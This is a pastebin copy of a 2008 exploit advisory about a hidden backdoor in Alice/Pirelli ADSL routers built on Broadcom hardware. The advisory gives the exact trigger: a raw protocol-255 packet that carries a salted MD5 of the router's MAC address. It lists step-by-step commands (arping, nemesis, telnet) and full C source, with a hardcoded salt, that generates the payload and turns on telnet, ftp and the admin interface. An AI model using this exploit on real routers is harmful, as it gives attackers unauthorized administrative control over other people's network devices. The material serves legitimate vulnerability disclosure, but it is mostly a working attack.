NoPaste Service
DOWNLOAD
Language: C
Author: Matrix86
Description: Router Alice Pirelli...attivazione telnet/ftp/web
Date: 13/02/09 11:13
  1. #############################################################################################
  2.  
  3.                               saxdax & drpepperONE
  4.  
  5.  
  6. Discovered embedded backdoor to activate telnet/ftp/tftp/web extended
  7. admin interface with Admin privileges, from internal network lan on
  8. Alice ADSL CPE
  9. Modem/Router, manufactered by Pirelli based on Broadcom platform.
  10.  
  11. #############################################################################################
  12.  
  13.                       saxdax & drpepperONE
  14.  
  15. Router Vendor:          Alice Telecom Italia CPE Modem/Routers manufactered by Pirelli
  16.                               based on Broadcom platform.
  17.  
  18. Model Affected:         AGA[Alice Gate2 plus Wi-Fi]/AGB[Alice Gate2plus]AG2P-AG3[Alice Gate W2+]
  19.                              /AGPV-AGPF[Alice Gate VoIP 2 Plus Wi-Fi]
  20.  
  21. Firmware Version:     All AGA/AGB/AG2P-AG3/AGPV-AGPF firmware version are affected.
  22.  
  23. Platforms:                 Customized Linux version 2.6.8.1 on BroadcomBCM96348 chipset.
  24.  
  25. Vulnerability:             enable telnet/ftp/tftp and web-admin frominternal lan.
  26.  
  27. Exploitation:              internal network lan, versus Router
  28.  
  29. Date:                        13 Oct 2008
  30.  
  31. Authors:                   saxdax & drpepperONE
  32.  
  33. e-mail:                     saxdax2@gmail.com           drpepppperone@gmail.com
  34.  
  35. Risk:                       medium>low
  36.  
  37. #############################################################################################
  38.  
  39. 1) Introduction
  40. 2) Vulnerability
  41. 3) The Exploit
  42. 4) The Code
  43. 5) Fix
  44.  
  45. #############################################################################################
  46.  
  47. ===============
  48. 1) Introduction
  49. ===============
  50.  
  51. Telecom Italia is the most important Italian ISP offering an ADSL
  52. service named "Alice".
  53. Telecom Italia rent out with "Alice Adsl" service, different CPE
  54. Modem/Router among which
  55. the affected ones.
  56. The interface to configure these modems are made extremily poor by the
  57. provider to ensure
  58. more control.
  59. There's no way to enable telnet, ftp, tftp or more advanced web pages
  60. from the web interface.
  61.  
  62. http://www.telecomitalia.com/
  63. http://adsl.alice.it/
  64.  
  65. #############################################################################################
  66.  
  67. ================
  68. 2) Vulnerability
  69. ================
  70.  
  71. An attacker can activate and get unauthorized access to the routers
  72. administration
  73. interface and telnet/ftp/tftp services from internal network.
  74.  
  75. Every user in the LAN (or Wireless LAN) can nevertheless have access
  76. to the routers
  77. administration interface and telnet/ftp/tftp!
  78.  
  79. If an attacker can get access to the administrator interface and
  80. login, he has full control
  81. over the routers configuration.
  82.  
  83. #############################################################################################
  84.  
  85.  
  86. ==============
  87. 3) The Exploit
  88. ==============
  89.  
  90. To enable telnet/ftp/tftp and web-admin interface it is necessary send a special
  91. IP packet to router specific ip 192.168.1.1.
  92. This works only from internal LAN where an attacker have and ip like
  93. 192.168.1.XX.
  94. The ip packet send to router must have the following feature:
  95.  
  96. 1)IP-protocol-number 255 (there's a RAW SOCKET listening on the router)
  97. 2)Payload size 8 byte
  98. 3)The payload are the first 8 byte of a salted md5 of the mac address
  99. of device br0
  100. 4)br0 in these modems has the same mac of eth0
  101.  
  102. When the modem receives the packet all services will be enabled.
  103.  
  104.  
  105. Example:
  106.  
  107.  
  108. >From a GNU/LINUX distrib:
  109.  
  110. 1)Retrieve br0 maccaddress:
  111.  
  112. arping -I eth0 -c 2 192.168.1.1
  113.  
  114. ARPING 192.168.1.1 from 192.168.1.2 eth0
  115. Unicast reply from 192.168.1.1 [00:01:02:03:04:05]  8.419ms
  116. Unicast reply from 192.168.1.1 [00:01:02:03:04:05]  2.095ms
  117. Sent 2 probes (1 broadcast(s))
  118. Received 2 response(s)
  119.  
  120.  
  121. 2)Calculate special md5 hash from br0 macaddress: create an hex 6 byte
  122. long file with the mac address.
  123.       run the application below and copy the output hash.
  124.       http://rapidshare.com/files/153439269/AliceBDhashCreator.zip.html
  125.  
  126. 3)Send ip packet to router ip 192.168.1.1 with 8 byte paylod file
  127. (with the tool you like)
  128.  
  129.       i.e.: nemesis ip -D 192.168.1.1 -p 255 -P hash.hex
  130.  
  131.  
  132. 4)Telnet to router :
  133.  
  134.       telnet 192.168.1.1
  135.  
  136.       BCM96348 ADSL Router
  137.       Login: admin
  138.       Password:
  139.  
  140.  
  141.  
  142. #############################################################################################
  143.  
  144.  
  145. ===========
  146. 4) The Code
  147. ===========
  148.  
  149. /* Alice Backdoor Pwd creator by saxdax */
  150. /* this code generates an 8 byte hash to use as the paylod of the ip packet   */
  151. /* the mac must be in an hex file and has to be passed as argument to
  152. the program */
  153.  
  154. #include <string.h>
  155. #include <stdlib.h>
  156. #include <stdio.h>
  157. #include "md5.h"
  158.  
  159.  
  160. /*
  161.  *  RFC 1321 compliant MD5 implementation
  162.  *
  163.  *  Copyright (C) 2001-2003  Christophe Devine
  164.  *
  165.  *  This program is free software; you can redistribute it and/or modify
  166.  *  it under the terms of the GNU General Public License as published by
  167.  *  the Free Software Foundation; either version 2 of the License, or
  168.  *  (at your option) any later version.
  169.  *
  170.  *  This program is distributed in the hope that it will be useful,
  171.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  172.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  173.  *  GNU General Public License for more details.
  174.  *
  175.  *  You should have received a copy of the GNU General Public License
  176.  *  along with this program; if not, write to the Free Software
  177.  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  178.  */
  179.  
  180.  
  181.  
  182. #define GET_UINT32(n,b,i)                       \
  183. {                                               \
  184.   (n) = ( (uint32) (b)[(i)    ]       )       \
  185.       | ( (uint32) (b)[(i) + 1] <<  8 )       \
  186.       | ( (uint32) (b)[(i) + 2] << 16 )       \
  187.       | ( (uint32) (b)[(i) + 3] << 24 );      \
  188. }
  189.  
  190. #define PUT_UINT32(n,b,i)                       \
  191. {                                               \
  192.   (b)[(i)    ] = (uint8) ( (n)       );       \
  193.   (b)[(i) + 1] = (uint8) ( (n) >>  8 );       \
  194.   (b)[(i) + 2] = (uint8) ( (n) >> 16 );       \
  195.   (b)[(i) + 3] = (uint8) ( (n) >> 24 );       \
  196. }
  197.  
  198. void md5_starts( md5_context *ctx )
  199. {
  200.   ctx->total[0] = 0;
  201.   ctx->total[1] = 0;
  202.  
  203.   ctx->state[0] = 0x67452301;
  204.   ctx->state[1] = 0xEFCDAB89;
  205.   ctx->state[2] = 0x98BADCFE;
  206.   ctx->state[3] = 0x10325476;
  207. }
  208.  
  209. void md5_process( md5_context *ctx, uint8 data[64] )
  210. {
  211.   uint32 X[16], A, B, C, D;
  212.  
  213.   GET_UINT32( X[0],  data,  0 );
  214.   GET_UINT32( X[1],  data,  4 );
  215.   GET_UINT32( X[2],  data,  8 );
  216.   GET_UINT32( X[3],  data, 12 );
  217.   GET_UINT32( X[4],  data, 16 );
  218.   GET_UINT32( X[5],  data, 20 );
  219.   GET_UINT32( X[6],  data, 24 );
  220.   GET_UINT32( X[7],  data, 28 );
  221.   GET_UINT32( X[8],  data, 32 );
  222.   GET_UINT32( X[9],  data, 36 );
  223.   GET_UINT32( X[10], data, 40 );
  224.   GET_UINT32( X[11], data, 44 );
  225.   GET_UINT32( X[12], data, 48 );
  226.   GET_UINT32( X[13], data, 52 );
  227.   GET_UINT32( X[14], data, 56 );
  228.   GET_UINT32( X[15], data, 60 );
  229.  
  230. #define S(x,n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n)))
  231.  
  232. #define P(a,b,c,d,k,s,t)                                \
  233. {                                                       \
  234.   a += F(b,c,d) + X[k] + t; a = S(a,s) + b;           \
  235. }
  236.  
  237.   A = ctx->state[0];
  238.   B = ctx->state[1];
  239.   C = ctx->state[2];
  240.   D = ctx->state[3];
  241.  
  242. #define F(x,y,z) (z ^ (x & (y ^ z)))
  243.  
  244.   P( A, B, C, D,  0,  7, 0xD76AA478 );
  245.   P( D, A, B, C,  1, 12, 0xE8C7B756 );
  246.   P( C, D, A, B,  2, 17, 0x242070DB );
  247.   P( B, C, D, A,  3, 22, 0xC1BDCEEE );
  248.   P( A, B, C, D,  4,  7, 0xF57C0FAF );
  249.   P( D, A, B, C,  5, 12, 0x4787C62A );
  250.   P( C, D, A, B,  6, 17, 0xA8304613 );
  251.   P( B, C, D, A,  7, 22, 0xFD469501 );
  252.   P( A, B, C, D,  8,  7, 0x698098D8 );
  253.   P( D, A, B, C,  9, 12, 0x8B44F7AF );
  254.   P( C, D, A, B, 10, 17, 0xFFFF5BB1 );
  255.   P( B, C, D, A, 11, 22, 0x895CD7BE );
  256.   P( A, B, C, D, 12,  7, 0x6B901122 );
  257.   P( D, A, B, C, 13, 12, 0xFD987193 );
  258.   P( C, D, A, B, 14, 17, 0xA679438E );
  259.   P( B, C, D, A, 15, 22, 0x49B40821 );
  260.  
  261. #undef F
  262.  
  263. #define F(x,y,z) (y ^ (z & (x ^ y)))
  264.  
  265.   P( A, B, C, D,  1,  5, 0xF61E2562 );
  266.   P( D, A, B, C,  6,  9, 0xC040B340 );
  267.   P( C, D, A, B, 11, 14, 0x265E5A51 );
  268.   P( B, C, D, A,  0, 20, 0xE9B6C7AA );
  269.   P( A, B, C, D,  5,  5, 0xD62F105D );
  270.   P( D, A, B, C, 10,  9, 0x02441453 );
  271.   P( C, D, A, B, 15, 14, 0xD8A1E681 );
  272.   P( B, C, D, A,  4, 20, 0xE7D3FBC8 );
  273.   P( A, B, C, D,  9,  5, 0x21E1CDE6 );
  274.   P( D, A, B, C, 14,  9, 0xC33707D6 );
  275.   P( C, D, A, B,  3, 14, 0xF4D50D87 );
  276.   P( B, C, D, A,  8, 20, 0x455A14ED );
  277.   P( A, B, C, D, 13,  5, 0xA9E3E905 );
  278.   P( D, A, B, C,  2,  9, 0xFCEFA3F8 );
  279.   P( C, D, A, B,  7, 14, 0x676F02D9 );
  280.   P( B, C, D, A, 12, 20, 0x8D2A4C8A );
  281.  
  282. #undef F
  283.  
  284. #define F(x,y,z) (x ^ y ^ z)
  285.  
  286.   P( A, B, C, D,  5,  4, 0xFFFA3942 );
  287.   P( D, A, B, C,  8, 11, 0x8771F681 );
  288.   P( C, D, A, B, 11, 16, 0x6D9D6122 );
  289.   P( B, C, D, A, 14, 23, 0xFDE5380C );
  290.   P( A, B, C, D,  1,  4, 0xA4BEEA44 );
  291.   P( D, A, B, C,  4, 11, 0x4BDECFA9 );
  292.   P( C, D, A, B,  7, 16, 0xF6BB4B60 );
  293.   P( B, C, D, A, 10, 23, 0xBEBFBC70 );
  294.   P( A, B, C, D, 13,  4, 0x289B7EC6 );
  295.   P( D, A, B, C,  0, 11, 0xEAA127FA );
  296.   P( C, D, A, B,  3, 16, 0xD4EF3085 );
  297.   P( B, C, D, A,  6, 23, 0x04881D05 );
  298.   P( A, B, C, D,  9,  4, 0xD9D4D039 );
  299.   P( D, A, B, C, 12, 11, 0xE6DB99E5 );
  300.   P( C, D, A, B, 15, 16, 0x1FA27CF8 );
  301.   P( B, C, D, A,  2, 23, 0xC4AC5665 );
  302.  
  303. #undef F
  304.  
  305. #define F(x,y,z) (y ^ (x | ~z))
  306.  
  307.   P( A, B, C, D,  0,  6, 0xF4292244 );
  308.   P( D, A, B, C,  7, 10, 0x432AFF97 );
  309.   P( C, D, A, B, 14, 15, 0xAB9423A7 );
  310.   P( B, C, D, A,  5, 21, 0xFC93A039 );
  311.   P( A, B, C, D, 12,  6, 0x655B59C3 );
  312.   P( D, A, B, C,  3, 10, 0x8F0CCC92 );
  313.   P( C, D, A, B, 10, 15, 0xFFEFF47D );
  314.   P( B, C, D, A,  1, 21, 0x85845DD1 );
  315.   P( A, B, C, D,  8,  6, 0x6FA87E4F );
  316.   P( D, A, B, C, 15, 10, 0xFE2CE6E0 );
  317.   P( C, D, A, B,  6, 15, 0xA3014314 );
  318.   P( B, C, D, A, 13, 21, 0x4E0811A1 );
  319.   P( A, B, C, D,  4,  6, 0xF7537E82 );
  320.   P( D, A, B, C, 11, 10, 0xBD3AF235 );
  321.   P( C, D, A, B,  2, 15, 0x2AD7D2BB );
  322.   P( B, C, D, A,  9, 21, 0xEB86D391 );
  323.  
  324. #undef F
  325.  
  326.   ctx->state[0] += A;
  327.   ctx->state[1] += B;
  328.   ctx->state[2] += C;
  329.   ctx->state[3] += D;
  330. }
  331.  
  332. void md5_update( md5_context *ctx, uint8 *input, uint32 length )
  333. {
  334.   uint32 left, fill;
  335.  
  336.   if( ! length ) return;
  337.  
  338.   left = ctx->total[0] & 0x3F;
  339.   fill = 64 - left;
  340.  
  341.   ctx->total[0] += length;
  342.   ctx->total[0] &= 0xFFFFFFFF;
  343.  
  344.   if( ctx->total[0] < length )
  345.       ctx->total[1]++;
  346.  
  347.   if( left && length >= fill )
  348.   {
  349.       memcpy( (void *) (ctx->buffer + left),
  350.               (void *) input, fill );
  351.       md5_process( ctx, ctx->buffer );
  352.       length -= fill;
  353.       input  += fill;
  354.       left = 0;
  355.   }
  356.  
  357.   while( length >= 64 )
  358.   {
  359.       md5_process( ctx, input );
  360.       length -= 64;
  361.       input  += 64;
  362.   }
  363.  
  364.   if( length )
  365.   {
  366.       memcpy( (void *) (ctx->buffer + left),
  367.               (void *) input, length );
  368.   }
  369. }
  370.  
  371. static uint8 md5_padding[64] =
  372. {
  373.  0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  374.   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  375.   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  376.   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  377. };
  378.  
  379. void md5_finish( md5_context *ctx, uint8 digest[16] )
  380. {
  381.   uint32 last, padn;
  382.   uint32 high, low;
  383.   uint8 msglen[8];
  384.  
  385.  
  386.   high = ( ctx->total[0] >> 29 )
  387.        | ( ctx->total[1] <<  3 );
  388.   low  = ( ctx->total[0] <<  3 );
  389.  
  390.   PUT_UINT32( low,  msglen, 0 );
  391.   PUT_UINT32( high, msglen, 4 );
  392.  
  393.   //for(int i=0;i<8;i++) printf("length %d\n",msglen[i]);
  394.  
  395.       last = ctx->total[0] & 0x3F;
  396.   padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last );
  397.  
  398.   md5_update( ctx, md5_padding, padn );
  399.   md5_update( ctx, msglen, 8 );
  400.  
  401.   PUT_UINT32( ctx->state[0], digest,  0 );
  402.   PUT_UINT32( ctx->state[1], digest,  4 );
  403.   PUT_UINT32( ctx->state[2], digest,  8 );
  404.   PUT_UINT32( ctx->state[3], digest, 12 );
  405. }
  406.  
  407. //#ifdef TEST
  408.  
  409.  
  410.  
  411. /*
  412.  * those are the standard RFC 1321 test vectors
  413.  */
  414.  
  415. static char *msg[] =
  416. {
  417.   "",
  418.   "a",
  419.   "abc",
  420.   "message digest",
  421.   "abcdefghijklmnopqrstuvwxyz",
  422.   "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
  423.   "12345678901234567890123456789012345678901234567890123456789012" \
  424.       "345678901234567890"
  425. };
  426.  
  427. static char *val[] =
  428. {
  429.   "d41d8cd98f00b204e9800998ecf8427e",
  430.   "0cc175b9c0f1b6a831c399e269772661",
  431.   "900150983cd24fb0d6963f7d28e17f72",
  432.   "f96b697d7cb7938d525a2f31aaf161d0",
  433.   "c3fcd3d76192e4007dfb496cca67e13b",
  434.   "d174ab98d277d9f5a5611c2c9f419d9f",
  435.   "57edf4a22be3c955ac49da2e2107b67a"
  436. };
  437.  
  438. static char saltOrig[] =
  439. {0x04, 0x07, 0x67, 0x10, 0x02, 0x81, 0xFA, 0x66, 0x11, 0x41, 0x68,
  440. 0x11, 0x17, 0x01, 0x05, 0x22, 0x71, 0x04, 0x10, 0x33};
  441.  
  442. int main( int argc, char *argv[] )
  443. {
  444.   FILE *f;
  445.   int i, j;
  446.   char output[33];
  447.   md5_context ctx;
  448.   unsigned char buf[1000];
  449.   unsigned char md5sum[16];
  450.       unsigned char salt[20];
  451.  
  452.       printf( "****************************\n");
  453.       printf( "Alice BackDoor hash creator \n");
  454.       printf( "by saxdax and drPepperOne   \n");
  455.       printf( "****************************\n\n");
  456.  
  457.       if( argc < 2 )
  458.   {
  459.     printf( "\n Usage: %s pathfileMAC\n\n", argv[0] );
  460.         return 0;
  461.   }
  462.  
  463.   if( ! ( f = fopen( argv[1], "rb" ) ) )
  464.   {
  465.       perror( "fopen" );
  466.       return( 1 );
  467.   }
  468.  
  469.   md5_starts( &ctx );
  470.  
  471.   while( ( i = fread( buf, 1, sizeof( buf ), f ) ) > 0 )
  472.   {
  473.       md5_update( &ctx, buf, i );
  474.   }
  475.  
  476.       memcpy(salt, saltOrig, 20);
  477.  
  478.       md5_update( &ctx, salt, 20 );
  479.  
  480.   md5_finish( &ctx, md5sum );
  481.  
  482.       printf("Payload is: ");
  483.   for( j = 0; j < 8; j++ )
  484.   {
  485.       printf( "%02x", md5sum[j] );
  486.   }
  487.  
  488.   return( 0 );
  489. }
  490.  
  491.  
  492.  
  493.  
  494.  
  495.  
  496.  
  497. #############################################################################################
  498.  
  499. ======
  500. 5) Fix
  501. ======
  502.  
  503.  
  504. Atcualy at 13 Oct 2008 NO FIX available.
  505.  
  506. #############################################################################################
  507.  
  508. # milw0rm.com [2008-10-14]